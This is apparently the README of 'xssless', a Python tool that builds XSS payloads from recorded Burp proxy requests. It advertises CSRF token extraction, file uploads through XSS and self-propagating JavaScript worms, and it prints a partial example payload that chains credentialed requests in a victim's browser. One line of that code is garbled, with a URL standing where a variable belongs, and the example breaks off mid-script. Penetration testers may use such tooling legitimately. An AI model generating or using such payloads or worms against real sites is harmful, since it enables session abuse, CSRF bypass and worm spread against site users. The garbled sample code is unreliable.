xssless

An automated XSS payload generator written in python.

Usage

1. Record request(s) with Burp proxy
2. Select request(s) you want to generate, then right click and select "Save items"
3. Use xssless to generate your payload: ./xssless.py burp_export_file
4. Pwn!

A more detailed tutorial can be found here

Features

• Automated XSS payload generation from imported Burp proxy requests
• Payloads are 100% asynchronous and won't freeze the user's browser
• Payloads are optimized, but should be minimized by a third party tool
• CSRF tokens can be easily extracted and set via the -p option
• POST multipart is supported, along with XSS file uploading via the -f option
• Payloads are dynamic and portable (due to relative URLs)
• Self propagation is now supported - meaning you can set a POST value to the payload itself!
• Crazy JavaScript worms with no hassle!

Upcoming

• Suggestions?

Installation

Download the latest xssless:

git clone https://github.com/mandatoryprogrammer/xssless

Run the script:

./xssless.py -h

Example Payload

This is an example XSS payload output (uncompressed) that parses CSRF tokens and uploads a binary all via XSS!

Example command line usage: ./xssless.py -s -f=example_file_list.txt -p=example_csrf_token_list.txt file_upload

<script type="text/javascript">
    m();
    function m() {
        var funcNum = 0;
        doRequest = function(url, method, body)
        {
            var http = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP");
            http.withCredentials = true;
            http.onreadystatechange = function() {
                if (this.readyState == 4) {
                    var response = http.responseText; 
                    var d = document.implementation.createHTMLDocument("");
                    d.documentElement.innerHTML = response;
                    requestDoc = d;
                    funcNum++;
                    try {
                        window['r' + funcNum](https://github.com/mandatoryprogrammer/xssless/blob/master/requestDoc);
                    } catch (error) {}
                }    
            };
            if (method == "MPOST") {
                http.open('POST', url, true);
                var bound = Math.random().toString(36).slice(2);
                body = body.split("BOUNDMARKER").join(bound);
                http.setRequestHeader('Content-type', 'multipart/form-data, boundary=' + bound);
                http.setRequestHeader('Content-length', body.length);
                http.setRequestHeader('Connection', 'close');
                http.sendAsBinary(body);
                    
            }
            if (method == "GET") {
                http.open('GET', url, true); 
                http.send();
            }
    
        }
        r0();
    }
    function r0(requestDoc){
        doRequest('/uploader/', 'GET', '');
    }